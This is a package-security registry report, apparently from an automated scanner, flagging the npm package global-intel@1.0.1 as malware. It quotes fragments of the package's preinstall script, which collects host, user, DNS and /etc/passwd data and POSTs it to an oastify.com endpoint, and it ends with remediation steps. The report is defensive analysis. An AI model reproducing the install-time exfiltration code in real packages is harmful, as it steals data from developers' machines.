registry / Data exfiltration / global-intel
global-intel
This report shows the evidence for global-intel@1.0.1. 1 of 3 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiDirect source inspection confirms unconsented install-time collection and external transmission of local system data. This is concrete credential/system-data exfiltration behavior.
Static reason
One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
npm preinstall
Impact
Leaks local host, user, DNS, and /etc/passwd and /etc/hosts contents to a third party.
Mechanism
install-time host fingerprinting and HTTPS data exfiltration
Attack narrative
During npm preinstall, package.json executes index.js. The script gathers installation-path, home-directory, hostname, username, DNS, and package metadata, reads /etc/passwd and /etc/hosts if available, and POSTs the serialized data to the fixed oastify.com endpoint.
AI rationale
Direct source inspection confirms unconsented install-time collection and external transmission of local system data. This is concrete credential/system-data exfiltration behavior.
Evidence
package.jsonindex.js/etc/passwd/etc/hosts
Network endpoints1
0gh240ybp2rb80iyzrg4w2o3tuzlncb1.oastify.com
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs `node index.js` in preinstall.
- index.js collects home directory, hostname, username, and DNS servers.
- index.js reads /etc/passwd and /etc/hosts when present.
- index.js POSTs collected data to an oastify.com host.
Evidence against
- No legitimate package functionality beyond system-data collection is present.
Behavioral surface
FilesystemNetwork
HighEntropyStrings
Source & flagged code
5 flagged · loading sourcepackage.jsonView file
•scripts.preinstall = node index.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkgindex.jsView file
1const os = require("os");
L2: const dns = require("dns");
L3: const fs = require("fs");
L4: const https = require("https");
L5: const packageJSON = require("./package.json");
L6: const packageName = packageJSON.name;
...
L10: p: packageName, // Package name
L11: c: __dirname, // Directory where the package is installed
L12: hd: os.homedir(), // Home directory on the remote server
L13: hn: os.hostname(), // Hostname of the remote server
L14: un: os.userInfo().username, // Username on the remote server
...
L17: pjson: packageJSON, // Full package.json data
High
Host Fingerprint Exfiltration
Source collects local host identity data and sends it to an external endpoint.
index.jsView on unpkg · L1•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js
const https = require("https");
const trackingData = JSON.stringify({
// Prepare the POST request data
var postData = JSON.stringify({
hostname: "[redacted].oastify.com", // Burp Collaborator server
method: "POST",
"Content-Length": postData.length,
// Send the data via HTTPS POST request
Findings
5 High1 Medium3 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationindex.js
HighTrigger Reachable External Post Callbackindex.js
HighKnown Malware Source Similarityindex.js
HighKnown Malware Source Fingerprint Signatureindex.js
MediumNetwork
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
Affected versions and remediation
This report applies to global-intel@1.0.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing global-intel@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
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Source advisory published: .
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